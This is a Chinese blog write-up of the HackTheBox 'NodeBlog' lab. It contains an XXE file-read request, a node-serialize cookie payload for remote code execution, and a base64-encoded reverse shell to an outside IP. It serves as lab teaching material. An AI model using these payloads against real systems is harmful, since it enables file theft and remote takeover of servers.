HackTheBox | NodeBlog

原创于 2023-01-12 11:20:11 发布 · 258 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

htb记录专栏收录该内容

16 篇文章

订阅专栏

文章描述了一次针对Node.js应用的渗透测试过程，发现了XXE漏洞，通过构造XML实体读取了系统文件。进一步利用反序列化漏洞尝试执行命令，最终实现了远程命令执行（RCE）。虽然无回显，但能通过反弹shell获取信息。通过密码和sudo权限，可以读取特定文件并利用SSH登录。

HackTheBox | NodeBlog

nmap扫描，开启22、5000，其中5000端口的web服务使用node.js开发

访问Web服务

存在登录页面

sqlmap跑一下，没有发现注入点

dirsearch扫描，也只有login页面

尝试手动信息收集，发现存在articles路径

再用dirsearch对articles路径扫描一下，扫到了/articles/new和/articles/test两个路径

new页面用于创建新文章

test页面是已经创建好的test文章

回到主页面，检查源代码，看到了js代码，对/articles/xml进行了请求

POST请求访问该页面，看到返回信息中要求了格式

尝试POST内容，还是格式不对

构造一个标准的文件上传请求包，看到发送的XML内容被写入文本框中

POST /articles/xml HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"d8a-Q5hbhgQT0KLPhY8od1GY18/i7BA"
Content-Type: multipart/form-data; boundary=---------------------------34916364483540329092468948094
Content-Length: 379

-----------------------------34916364483540329092468948094
Content-Disposition: form-data; name="file"; filename="123.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?> 
<post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

-----------------------------34916364483540329092468948094--

进行XXE文件读取

POST /articles/xml HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"d8a-Q5hbhgQT0KLPhY8od1GY18/i7BA"
Content-Type: multipart/form-data; boundary=---------------------------34916364483540329092468948094
Content-Length: 433

-----------------------------34916364483540329092468948094
Content-Disposition: form-data; name="file"; filename="123.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<post><title>Example Post</title><description>Example Description</description><markdown>&xxe;</markdown></post>

-----------------------------34916364483540329092468948094--

看到用户admin

之前访问错误的时候回显报错时得到一些路径

读取server.js的源码

const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://localhost/blog')

app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}


app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)


app.listen(5000)

看到对参数c进行了反序列化操作。在get()中看到c其实就是请求中cookie字段的auth值。

查找之后node-serialize应该是node的一个标准模块，参考https://paper.seebug.org/213/生成反序列化payload

var y={
        rce:function(){
                require('child_process').exec('ls /', function(error, stdout, stderr){console.log(stdout)});
        },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

由于需要调用反序列化函数，所以需要使用到()，最后得到的payload如下：

{"rce":"_$$ND_FUNC$$_function(){\r\nrequire('child_process').exec('ls /', function(error, stdout, stderr){console.log(stdout)});}()"}

将其添加到HTTP请求的Cookie字段，此时是尝试读取文件列表，但是没有成功

尝试curl本地，发现成功，所以应该是无回显RCE

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl 10.10.16.5:1234', function(error, stdout, stderr){console.log(stdout)});}()"}

那么就修改payload反弹shell

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzEyMzQgMD4mMQ==|base64 -d|bash -i', function(error, stdout, stderr){console.log(stdout)});}()"}

拿到之前看到的admin用户的权限